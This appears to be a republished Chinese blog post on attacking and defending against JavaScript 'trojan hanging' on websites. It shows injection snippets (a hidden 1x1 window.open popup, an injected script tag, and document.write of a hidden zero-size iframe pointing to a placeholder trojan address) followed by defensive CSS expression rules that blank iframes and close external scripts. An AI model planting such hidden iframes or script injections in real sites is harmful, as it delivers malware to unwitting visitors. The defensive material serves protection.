zoukankan      html  css  js  c++  java
  • JS挂马攻防

    JS挂马攻防实录
    
      攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,
    恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1),这种方法使用的关键代码如下:
      window.open("","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); 
      这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。
      另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write(
    '')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。
    这时黑客只需要在受害者的网站中写入:
      <script src="木马脚本.js"></script>
      或者
      document.write("<div style='display:none'>")
    
      document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
    
      document.write("</div>")
       就成功地将木马挂到了对方的网页中了。   小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:<div >
    或者<
    if rame src="vbscript:[挂马脚本]">等。   防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,
    所以我们主要针对它进行防御。
    方法就是阻止Src请求的异地外域的JS脚本,代码如下:
      iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
    
      script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
       不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页(图2)。   所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,
    这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,
    Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
      <title></title>
    
      <style type="text/css" id="shudoo">
    
      /*<![CDATA[*/
    
      iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
    
      script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
    
      /*]]*/
      </style>

  • 相关阅读:
    UVA-11437 Triangle Fun
    UVA 10491
    CF 223C
    poj 3273
    由异常掉电问题---谈xfs文件系统
    好久没有写博客了,最近一段时间做一下总结吧!
    Json.Net
    div 旋转
    VirtualBox虚拟机网络设置
    windows 2003 安装 MVC 环境 404错误,无法找到该页
  • 原文地址:https://www.cnblogs.com/qhorse/p/5454853.html
Copyright © 2011-2022 走看看